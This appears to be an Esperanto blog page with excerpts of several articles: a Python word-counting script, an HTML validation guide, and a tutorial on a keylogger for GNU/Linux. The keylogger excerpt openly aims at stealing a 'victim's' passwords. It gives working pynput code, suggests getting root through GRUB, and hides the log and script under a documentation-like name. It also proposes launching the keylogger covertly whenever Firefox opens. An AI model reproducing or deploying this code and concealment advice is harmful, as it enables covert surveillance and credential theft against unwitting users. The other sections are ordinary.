Akiri la plej uzitajn vortojn de teksto kaj kiom da fojoj ili ripetiĝas: per Python kaj Coreutils

En ĉi tiu artikolo mi montras kiel simple akiri la plej uzitajn vortojn de teksto. Ĉi-okaze mi uzos kiel montron la tekston de la oka libro de la novelo Τῶν περὶ Χαιρέαν καὶ Καλλιρρόην, eltirita el https://www.perseus.tufts.edu/hopper/text?doc=Perseus%3Atext%3A2008.01.0668%3Abook%3D8. Mi forigis la notojn, kiun ĝi havis inter kvadrataj krampoj, per sed:

sed -i 's/\[[^]]*\]//g' oka_libro.txt

La programo, kiu montras al ni ĉiujn vortojn estas jen, mi nomis ĝin listo-de-vortoj.py (mi klarigas sekve kiel ĝi funkcias):

archivo_texto = open('oka_libro.txt', 'r')
texto = archivo_texto.read()
archivo_texto.close()

palabras = texto.split()

for palabra in palabras:
    print(palabra.strip('‘’:;,.').lower())

En la teksta dosiero, kiun mi nomis oka_libro.txt (elŝuti), mi supozas, ke vorto estas apartigita per blanka spaceto, do mi uzas la split-funkcion por akiri la liston de vortoj. Tamen kelkfoje estas komoj, punktoj, citiloj, dupunktoj, punktokomoj antaŭ aŭ post la vortoj, kaj kelkfoje ili komenciĝas per majuskloj. Por tiuj okazoj sufiĉas uzi la strip()-funkcion per la signoj, kiujn ni volas forĵeti inter citiloj, kaj lower() por minuskligi la vorton.

Nun mi volas, ke la vortoj, kiuj pleje aperas en la teksto, estu montritaj en la ekrano, kun la nombro de fojoj, kiam ili aperas dekstre; sed mi ne programos ĝin; mi uzos ilojn, kiuj ebligas fari tion en GNU/Linukso: uniq kaj sort.

Legu plu el Akiri la plej uzitajn vortojn de teksto kaj kiom da fojoj ili ripetiĝas: per Python kaj Coreutils

Klavaroregistrilo (keylogger) por GNU/Linukso. Retpoŝte sendi informojn kaj detruiĝi

En ĉi tiu artikolo mi montras al vi kiel programi klavaroregistrilon, kiu sendas mesaĝojn per retpoŝto kaj detruiĝas post difinita dato.

Legu plu el Klavaroregistrilo (keylogger) por GNU/Linukso. Retpoŝte sendi informojn kaj detruiĝi

Baza klavaroregistrilo (keylogger) por GNU/Linukso. Ŝteli pasvortojn kaj tajpitajn informojn

Simpla maniero ŝteli pasvortojn estas instali klavaroregistrilon (keylogger) en la komputilo de nia viktimo. Mi montros kiel fari tion en GNU/Linukso per la Python-programlingvo.

Unue ni devas akiri permesojn de ĉefuzanto. Se la komputilo estas administrita de ni, ni jam scias la pasvorton. Se tio ne estas nia okazo, ni povas akiri aliron de ĉefuzanto per GRUB. Per la necesaj permesoj ni jam povas instali la klavaroregistrilon.

Unue, oni devas instali la pynput-bibliotekon per...

sudo pip install pynput

Sekve ni devas skribi la klavaroregistrilon. Jen la kodo, kiun ni uzos:

#!/usr/bin/env python3
from pynput.keyboard import Key, Listener
import logging

log_dir = "/usr/share/doc/python3/"

logging.basicConfig(filename=(log_dir + "log"), \
        level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()

La klavaroregistrilo konserviĝas en log_dir. Mi, ĉi-okaze, specifis la dokumentaran dosieron de Python 3 en GNU/Linukso. Ni ankaŭ povas konservi la klavaroregistrilon en tiun dosierujon, eble uzante la nomon compile_docs.py aŭ iun similan, por ne altiri la atenton. Plej bone estas elekti dosierujon, kiun la viktimo ne eniros, por eviti, ke ri ne rimarku tion, kion ni faras.

Fine ni devus plenumi la programon ĉiam, kiam oni ŝaltu la komputilon aŭ programo estu plenumita, sen ke la viktimo rimarku. Se, ekzemple, ni volas startigi la klavaroregistrilon ĉiam, kiam la uzanto malfermu Firefox-on, ni povas modifi la Firefox-komandon. Legu plu el Baza klavaroregistrilo (keylogger) por GNU/Linukso. Ŝteli pasvortojn kaj tajpitajn informojn

Efektive validigi HTML-n

La lingvo HTML konformas kun la WHATWG-normo. Ĉar ĝi estas markolingvo, eraro en HTML ne kaŭzas, ke la paĝaro ceŝu funkcii, sed la retumilo ĝin montras kiel eble plej bone.

Havi erarojn en HTML estas problema, ĉar ĝi povas aperigi neatenditajn kaj malfacile reprodukteblajn erarojn, ĉefe kiam ili nur aperas en konkreta retumilo. Do estas necesega skribi validan HTML-n.

Tamen estas facile fari erarojn kaj ĝin pretervidi. Sekve oni rekomendas validigi la HTML-kodon, tio estas, trovi la erarojn kaj korekti ilin. Por tio ekzistas validiloj, kiuj generale simple montras erarojn. La plej ĝisdatigita kaj rekomendinda estas The Nu Html Checker. La W3C subtenas nodon de ĉi tiu validilo, kiu permesas al ni validigi HTML-dokumentojn en la retumilo, enigante URL-n, alŝutante dosieron kaj skribante la kodon en formularo. Ĉar ĉi tiu validilo estas libera programaro, vi povas instali ĝin facile en via komputilo.

Reta validado de la retejo de GNU https://gnu.org/.

La reta validilo bone funkcias, se vi nur devas validigi kelkajn retejojn okaze, sed ĝi ne utilas por validigi tutan retejon. Por tio mi rekomendas uzi la version de The Nu Html Checker, kiun oni plenumas en terminalo. Ĝi troviĝas en la dosiero vnu.jar (Java estas bezona).

Mi persone uzas la html5validator-pakon, ĉar mi laboras kun Python kaj ĝi ne signifas kroma dependaĵo. Por instali ĉi tiun pakon en GNU/Linukso-distribuo bazita sur Debiano oni nur devas plenumi...

sudo apt install default-jre
sudo pip3 install html5validator

Post la instalo havas ni programon kun la nomo html5validator, kiun ni povas plenumi en la terminalo:

html5validator index.html

Utilega argumento estas --root, kiu permesas validigi ĉiujn dosierojn en dosierujo, kaj en la dosierujo ene de la dosierujo..., tiel ĝis ĉiun ĝi validigis. Mi uzas ĝin donante la kernan dosierujon de mia retejo, validante tiel la tutan retejon en kelkaj sekundoj.

html5validator --root retejo/

Estas inde uzi ian kontinuan integriĝon por eviti plenumi mane la antaŭan komandon ĉiam, kiam vi ŝanĝas ion en la retejo. Por tio mi uzas GitLab CI. Tiel mi prizorgas ĉi tiun retejon kaj multajn aliajn sen HTML-eraroj kaj kiam mi rompas ion, mi rimarkas baldaŭ.

Ĉi tiu testo de GitLab CI montras, ke la retejo estis kreita sukcese kaj sen HTML-eraroj.